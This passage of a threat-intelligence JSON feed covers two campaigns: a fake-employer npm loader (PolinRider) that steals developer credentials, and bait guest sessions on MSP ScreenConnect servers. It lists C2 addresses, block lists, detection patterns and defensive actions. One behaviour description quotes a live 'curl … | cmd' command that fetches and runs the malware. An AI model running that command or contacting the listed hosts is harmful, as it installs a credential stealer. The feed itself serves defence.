{ "title": "AI Rapid Threat Intel", "description": "High-impact threat intelligence and IOCs, researched and ready to deploy", "repository": "https://github.com/daniyyell-dev/rapid-threat-intel", "documentation": "https://github.com/daniyyell-dev/rapid-threat-intel/blob/main/docs/dashboard.md", "licence": "MIT", "last_updated": "2026-11-14 04:14", "threat_count": 58, "indicator_count": 1596, "block_now_count": 719, "combined_files": [ { "name": "block_now.txt", "label": "All block-now indicators", "note": "every threat, grouped", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now.txt", "download": "block_now.txt" }, { "name": "block_now_ipv4.txt", "label": "IPv4 block list", "note": null, "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now_ipv4.txt", "download": "block_now_ipv4.txt" }, { "name": "block_now_domain.txt", "label": "Domain block list", "note": null, "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now_domain.txt", "download": "block_now_domain.txt" }, { "name": "block_now_url.txt", "label": "URL block list", "note": null, "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now_url.txt", "download": "block_now_url.txt" }, { "name": "block_now_sha256.txt", "label": "SHA256 block list", "note": null, "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now_sha256.txt", "download": "block_now_sha256.txt" }, { "name": "block_now_sha1.txt", "label": "SHA1 block list", "note": null, "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/block_now_sha1.txt", "download": "block_now_sha1.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "note": "all threats", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/defender_xdr_indicators.csv", "download": "defender_xdr_indicators.csv" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "note": "with descriptions", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/iocs.csv", "download": "iocs.csv" }, { "name": "live_feed_hunt.kql", "label": "Live-feed hunting query (KQL)", "note": "loads the lists itself", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/live_feed_hunt.kql", "download": "live_feed_hunt.kql" }, { "name": "live_feed_hunt.spl", "label": "Live-feed hunting query (Splunk)", "note": "uses the splunk_rti_iocs.csv lookup", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/live_feed_hunt.spl", "download": "live_feed_hunt.spl" }, { "name": "live_feed.yaral", "label": "Live-feed rule (Google SecOps)", "note": "uses reference lists", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/live_feed.yaral", "download": "live_feed.yaral" }, { "name": "splunk_rti_iocs.csv", "label": "Splunk lookup", "note": "block-now indicators", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/splunk_rti_iocs.csv", "download": "splunk_rti_iocs.csv" }, { "name": "splunk_macros.conf", "label": "Splunk macros", "note": "for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/all/splunk_macros.conf", "download": "splunk_macros.conf" } ], "threats": [ { "id": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure", "folder": "threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure", "name": "Contagious Interview: AccuraSoftHire Fake Employer Plants PolinRider Loader on Developer Machines", "short": "AccuraSoftHire PolinRider loader", "category": "Nation-state / social engineering", "published": "2026-11-09", "entry_date": "2026-11-14 04:14", "last_updated": "2026-11-14", "seq": 58, "headline": "Fake employer AccuraSoftHire gives developers a poisoned Tailwind take-home that installs the PolinRider credential-stealing loader", "summary": "JFrog Security Research reported on 9 November 2026 that a fake company, AccuraSoftHire, with a careers site, Indeed and Glassdoor job ads, ID-verified LinkedIn recruiters and GitHub accounts, gives software engineers a take-home React test whose Tailwind config loads a trojanised look-alike plugin such as tailwind-custom-forms. The loader runs when Tailwind builds the CSS, not at npm install. Candidates are also pushed a fake camera driver and a job-alerts browser extension from the site. The loader, which researchers track as PolinRider, reads the newest transaction from Ethereum wallet 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a, decodes the C2 address from it and fetches two stages over plain HTTP on port 443 from /0x/cls and /0x/ls. StepSecurity decoded all 609 wallet transactions (July to 19 October 2026) into eight C2 addresses, and reports the malware steals browser, wallet, SSH, cloud and git credentials and injects itself into the victim's other repositories. The tradecraft matches North Korea-linked Contagious Interview, the same lure Binance says began its 29 October theft of about $6.34 billion, though JFrog found no link between AccuraSoftHire and that intrusion. The careers domain and all eight C2 addresses are on the block list.", "caveat": "Attribution to North Korea rests on shared tradecraft and markers with PolinRider and ClickFake, not on a confirmed link; JFrog found no tie to the Binance intrusion. The wallet has posted no new address since 19 October 2026, so a loader running today would still contact 103.179.142.155; if the operator moves to a new wallet, new addresses will not appear here. The npm package names, account names and email addresses in the report are not network indicators and are covered in the actions.", "targets": { "countries": [], "regions": [ "Worldwide" ], "sectors": [ "Software development", "Cryptocurrency" ], "note": "Fake job interviews aimed at software engineers and their employers' credentials; the reports cite the same lure in the Binance theft and name no target countries.", "source": { "url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "label": "JFrog Security Research – Contagious Interview: One Interview Away From Infection", "name": "JFrog Security Research" } }, "mitre": [ { "id": "T1566.003", "name": "Phishing: Spearphishing via Service", "url": "https://attack.mitre.org/techniques/T1566/003/" }, { "id": "T1195.001", "name": "Supply Chain Compromise: Compromise Software Dependencies and Development Tools", "url": "https://attack.mitre.org/techniques/T1195/001/" }, { "id": "T1204.002", "name": "User Execution: Malicious File", "url": "https://attack.mitre.org/techniques/T1204/002/" }, { "id": "T1102.001", "name": "Web Service: Dead Drop Resolver", "url": "https://attack.mitre.org/techniques/T1102/001/" }, { "id": "T1071.001", "name": "Application Layer Protocol: Web Protocols", "url": "https://attack.mitre.org/techniques/T1071/001/" }, { "id": "T1176", "name": "Browser Extensions", "url": "https://attack.mitre.org/techniques/T1176/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1552.001", "name": "Unsecured Credentials: Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" } ], "recommended_actions": [ "Block accurasofthire.com and the eight C2 addresses at the proxy and firewall, and search 90 days of proxy, DNS and firewall logs for them, for any request to /0x/cls or /0x/ls, and for a Sec-V request header.", "Search developer machines and project folders for the npm packages tailwind-custom-forms, tailwindcss-contact-forms, tailwind-form-styles, tailwind-forms-kit, tailwind-lines-clamps, tailwind-clamps-line, tailwind-lineclamp, scrollbar-hide-plugin, tailwindcss-anim and tailwind-anim, for .vscode/tasks.json files with \"runOn\": \"folderOpen\", and for a browser extension loaded from a folder named job-new-alerts.", "If a machine matches, treat every credential on it as stolen: rotate git, SSH, cloud, npm and browser-stored credentials, and review the developer's repositories for loader code added under backdated commits.", "Set VS Code task.allowAutomaticTasks to off, keep Workspace Trust on, and make it policy that interview assignments, drivers and setup commands from outside the company never run on work machines." ], "sources": [ { "url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "label": "JFrog Security Research – Contagious Interview: One Interview Away From Infection", "name": "JFrog Security Research" }, { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/1971739/", "label": "ThreatFox – 103.179.142.155:443 loader C2 (IOC 1971739)", "name": "ThreatFox" }, { "url": "https://threatfox.abuse.ch/ioc/1967882/", "label": "ThreatFox – 23.27.13.72:443 loader C2 (IOC 1967882)", "name": "ThreatFox (2)" }, { "url": "https://threatfox.abuse.ch/ioc/2018861/", "label": "ThreatFox – 91.218.183.174:443 loader C2 (IOC 2018861)", "name": "ThreatFox (3)" }, { "url": "https://threatfox.abuse.ch/ioc/1926649/", "label": "ThreatFox – 166.88.134.75:443 loader C2 (IOC 1926649)", "name": "ThreatFox (4)" }, { "url": "https://threatfox.abuse.ch/ioc/2018860/", "label": "ThreatFox – 193.247.144.38:443 loader C2 (IOC 2018860)", "name": "ThreatFox (5)" }, { "url": "https://threatfox.abuse.ch/ioc/2018859/", "label": "ThreatFox – 166.88.73.46:443 loader C2 (IOC 2018859)", "name": "ThreatFox (6)" }, { "url": "https://threatfox.abuse.ch/ioc/2018858/", "label": "ThreatFox – 23.27.13.135:443 loader C2 (IOC 2018858)", "name": "ThreatFox (7)" }, { "url": "https://threatfox.abuse.ch/ioc/2018857/", "label": "ThreatFox – 166.88.134.62:443 loader C2 (IOC 2018857)", "name": "ThreatFox (8)" }, { "url": "https://urlhaus.abuse.ch/host/91.218.183.174/", "label": "urlhaus.abuse.ch", "name": "URLhaus" }, { "url": "https://urlhaus.abuse.ch/host/166.88.134.75/", "label": "urlhaus.abuse.ch", "name": "URLhaus (2)" }, { "url": "https://urlhaus.abuse.ch/host/166.88.134.62/", "label": "urlhaus.abuse.ch", "name": "URLhaus (3)" } ], "indicator_count": 10, "block_now_count": 9, "hunt_count": 1, "hunt_counts": { "monitor": 1 }, "indicator_counts": { "ipv4": 8, "domain": 1, "eth_address": 1 }, "ioas": [ { "artefact": "Node.js reading the Ethereum block explorer eth.blockscout.com, then connecting to a bare public IP on port 443 within five minutes", "log_source": "Defender XDR DeviceNetworkEvents; proxy and firewall logs", "why": "JFrog and StepSecurity show the PolinRider loader running inside a Tailwind build (node) and querying the operator's wallet history through eth.blockscout.com, then fetching /0x/cls and /0x/ls over plain HTTP on port 443 from the decoded IP, with no hostname. StepSecurity names these two connections as ones a frontend build would not normally make. The hunt only fires when the same device does both within five minutes, which a normal frontend build never does. Expected false positives are developers who build Web3 dApps or wallet tooling and call a raw-IP RPC node; review the node command line and the destination, and exclude known internal Web3 projects by path.", "action": "hunt", "has_query": true, "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_name": "StepSecurity", "title": "Node.js reads the Ethereum dead drop, then calls a bare IP on 443", "queries": [ "KQL" ] }, { "artefact": "Native messaging host com.accurasoft.jobalerts registered for Chrome or Edge, or bootstrap.cmd written under %USERPROFILE%\\.nvm", "log_source": "Defender XDR DeviceRegistryEvents and DeviceFileEvents; Windows Registry and file auditing", "why": "JFrog found the site's job-alerts setup script registers a native messaging host named com.accurasoft.jobalerts for Chrome and Edge in the user's registry, whose only extra job is to run curl http://accurasofthire.com/notification-settings-win?download=1 | cmd. That batch file creates a .nvm folder in the user profile and starts notification-bootstrap-win as bootstrap.cmd, hidden. Neither name belongs to legitimate software (nvm-windows keeps its files under AppData\\Roaming\\nvm and has no bootstrap.cmd), so expected false positives are close to none.", "action": "alert", "has_query": true, "source_url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "source_name": "JFrog Security Research", "title": "com.accurasoft.jobalerts native host or .nvm\\bootstrap.cmd", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/block_now.txt", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/defender_xdr_indicators.csv", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.kql", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.spl", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt_raw.spl", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.yaral", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/iocs.csv", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure", "share_url": "https://iocwatch.com/t/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/", "indicators": [ { "value": "accurasofthire.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fake AccuraSoftHire careers site that serves the PolinRider loader to job candidates as a camera driver, VS Code setup and notification-settings download.", "source_url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "source_label": "JFrog Security Research – Contagious Interview: One Interview Away From Infection", "source_name": "JFrog Security Research", "sources": [ { "url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "name": "JFrog Security Research" }, { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" } ] }, { "value": "103.179.142.155", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 that the camera-driver payload was pointed at, decoded from the operator's Ethereum dead-drop wallet; serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "name": "JFrog Security Research" }, { "url": "https://threatfox.abuse.ch/ioc/1971739/", "name": "ThreatFox" } ] }, { "value": "23.27.13.72", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 14 Oct 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/1967882/", "name": "ThreatFox" } ] }, { "value": "91.218.183.174", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 28 Sep-6 Oct 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/2018861/", "name": "ThreatFox" }, { "url": "https://urlhaus.abuse.ch/host/91.218.183.174/", "name": "URLhaus" } ] }, { "value": "166.88.134.75", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 17-28 Sep 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/1926649/", "name": "ThreatFox" }, { "url": "https://urlhaus.abuse.ch/host/166.88.134.75/", "name": "URLhaus" } ] }, { "value": "193.247.144.38", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 4 Sep-13 Oct 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/2018860/", "name": "ThreatFox" } ] }, { "value": "166.88.73.46", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 28 Aug-3 Sep 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/2018859/", "name": "ThreatFox" } ] }, { "value": "23.27.13.135", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 22-27 Aug 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/2018858/", "name": "ThreatFox" } ] }, { "value": "166.88.134.62", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "PolinRider loader C2 decoded from the operator's Ethereum dead-drop wallet (posted 25 Jul-22 Aug 2026); serves stages from /0x/cls and /0x/ls over plain HTTP on port 443.", "source_url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "source_label": "StepSecurity – Inside the AccuraSoftHire fake interview campaign", "source_name": "StepSecurity", "sources": [ { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" }, { "url": "https://threatfox.abuse.ch/ioc/2018857/", "name": "ThreatFox" }, { "url": "https://urlhaus.abuse.ch/host/166.88.134.62/", "name": "URLhaus" } ] }, { "value": "0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Ethereum wallet whose newest transaction tells the PolinRider loader which C2 address to contact (NullReceiver dead drop).", "source_url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "source_label": "JFrog Security Research – Contagious Interview: One Interview Away From Infection", "source_name": "JFrog Security Research", "sources": [ { "url": "https://research.jfrog.com/post/accurasofthire-fake-interview/", "name": "JFrog Security Research" }, { "url": "https://www.stepsecurity.io/blog/accurasofthire-fake-interview-developer-machines", "name": "StepSecurity" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.kql", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.spl", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt_raw.spl", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure/hunt.yaral", "download": "Contagious-Interview-AccuraSoftHire-PolinRider-npm-Developer-Lure_hunt.yaral" } ] }, { "id": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait", "folder": "threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait", "name": "Fake Crypto-Exchange Guest Sessions Planted on 100+ MSP ScreenConnect Servers", "short": "ScreenConnect crypto-bait guest sessions", "category": "Supply chain / MSP remote access", "published": "2026-11-13", "entry_date": "2026-11-14 01:25", "last_updated": "2026-11-14", "seq": 57, "headline": "Thousands of fake crypto-exchange guest sessions planted on MSP ScreenConnect servers, likely as bait for technicians with unpatched clients", "summary": "Huntress reported on 13 November 2026 that someone had enrolled about 2,400 unauthorized guest sessions on at least 118 self-hosted ConnectWise ScreenConnect servers belonging to 109 MSPs and other organisations between 3 and 13 November. The sessions come from a scripted emulator that impersonates a Windows ScreenConnect client and uses relay addresses taken from publicly downloadable Access installers. They carry crypto-exchange names such as KUCOIN-SRV, LAPTOP-BINANCE and BACKUP-PROBIT, show fake trading-desktop thumbnails, claim guest version 25.3.4.9288, send no guest public key and are kept online by an operator who revisits the servers every 151 seconds. About 97.8% of connections came from one IONOS VPS, 74.208.158.106. Huntress has not seen the sessions push files or run commands, but assesses they are likely bait: a technician who opens one with an unpatched client could be hit by CVE-2026-84869, the Guest-to-Host file transfer and execute flaw already used in a separate ScreenConnect campaign, and in one case a technician typed text into a fake session. 74.208.158.106 is on the block list; the Egyptian residential address that created the first sessions and a related IONOS host are alert only.", "caveat": "Huntress has seen no malicious activity from these sessions so far; the CVE-2026-84869 bait theory is its leading hypothesis, not a confirmed attack. 197.47.160.252 is a residential address and 87.106.111.220 sent no guest sessions, so alert on both and do not block them. The bait thumbnail hashes are server-side preview images, not files on endpoints, and are not included.", "targets": { "countries": [], "regions": [ "Worldwide" ], "sectors": [ "Managed service providers", "IT services" ], "note": "Huntress found the fake sessions on 118 self-hosted ScreenConnect servers belonging to 109 MSP and organisation accounts; no countries are named.", "source": { "url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "label": "Huntress – Crypto exchange names disguise unauthorized sessions on 100+ ScreenConnect servers", "name": "Huntress" } }, "mitre": [ { "id": "T1133", "name": "External Remote Services", "url": "https://attack.mitre.org/techniques/T1133/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1204", "name": "User Execution", "url": "https://attack.mitre.org/techniques/T1204/" }, { "id": "T1203", "name": "Exploitation for Client Execution", "url": "https://attack.mitre.org/techniques/T1203/" }, { "id": "T1056.001", "name": "Input Capture: Keylogging", "url": "https://attack.mitre.org/techniques/T1056/001/" } ], "recommended_actions": [ "Block 74.208.158.106 at the edge in front of self-hosted ScreenConnect servers and search 90 days of firewall and ScreenConnect server logs for it, 197.47.160.252 and 87.106.111.220.", "Upgrade every technician Host client and Access agent to ScreenConnect 26.6.5 or later (CVE-2026-84869); until then follow ConnectWise's advice to remove TransferFiles permission from roles and session groups.", "Search the ScreenConnect session list for guests with crypto-exchange and role names, empty company or site fields, guest version 25.3.4.9288 or no guest public key; copy App_Data\\Session.db and its WAL file before deleting them.", "Check session history for any technician who joined a fake session; if text was sent, treat it as possible credential exposure, and if the client was unpatched, inspect that workstation's ScreenConnect Temp and Startup folders and process history.", "Keep Access installer links private, rebuild any installer that was public, restrict installer and web access where supported, and tell technicians not to join sessions they cannot tie to a customer." ], "sources": [ { "url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "label": "Huntress – Crypto exchange names disguise unauthorized sessions on 100+ ScreenConnect servers", "name": "Huntress" }, { "url": "https://urlhaus.abuse.ch/host/74.208.158.106/", "label": "URLhaus – 74.208.158.106 (prior unrelated Mirai download listing, Nov 2025)", "name": "URLhaus" } ], "indicator_count": 3, "block_now_count": 1, "hunt_count": 2, "hunt_counts": { "alert": 2 }, "indicator_counts": { "ipv4": 3 }, "ioas": [ { "artefact": "ScreenConnect.WindowsClient.exe on a technician workstation starting cmd.exe, powershell.exe, wscript.exe or msiexec.exe with a file under Documents\\\\Temp\\", "log_source": "Defender XDR DeviceProcessEvents; EDR process events in Splunk or Google SecOps", "why": "Huntress gives this as the host-side shape of CVE-2026-84869 exploitation, where a malicious guest makes an unpatched technician client accept and run a transferred file; the fake crypto-exchange sessions are likely bait for exactly that. Tuning: parent must be ScreenConnect.WindowsClient.exe, the child must be a shell, script host or installer, and the command line must point into a Documents\\\\Temp\\ path, the client's transfer folder. Expected false positives: a technician deliberately opening a file pulled back from a customer machine; confirm with the session history before escalating.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "source_name": "Huntress", "title": "ScreenConnect technician client running a file from its Temp folder", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "New ScreenConnect Access guest sessions with crypto-exchange and role names (e.g. KUCOIN-SRV, LAPTOP-BINANCE, BACKUP-PROBIT), empty company or site fields, guest version 25.3.4.9288, ClientType 1 and no guest public key, often many from one external IP in a short window", "log_source": "ScreenConnect server database (App_Data\\Session.db) and server connection logs", "why": "Huntress found this combination on every fake guest: the emulator claims version 25.3.4.9288, sends no guest key and uses exchange-plus-role names, and almost all enrolments came from 74.208.158.106. Tuning: the version alone is not unique, so require the empty public key or the crypto-exchange name pattern as well. These records are not in Defender XDR tables, so no XDR query is given.", "action": "hunt", "has_query": false, "source_url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "source_name": "Huntress", "title": "Crypto-exchange-named guest sessions with no guest key", "queries": [] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/block_now.txt", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/defender_xdr_indicators.csv", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.kql", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.spl", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt_raw.spl", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": 